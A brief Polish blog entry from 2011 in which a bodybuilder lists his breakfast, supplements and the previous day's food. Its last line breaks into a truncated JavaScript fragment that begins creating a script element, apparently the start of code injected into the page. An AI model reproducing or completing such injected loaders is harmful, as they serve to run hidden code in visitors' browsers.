Poranek

3.11.2011 / Michał Karmowski

 

Jest 7.00 a ja właśnie jem posiłek, 200g płątków , 50g rodzynków, 300g białek jaj, dziś już nie przyjmuję suplementów poza bcaa powder i l-glutamine extreme. Wczoraj zjadłem 12 worków ryżu i 500g płatków oraz 100g rodzynków. sprzed 10 min…var d=document;var s=d.createElement(‚script’);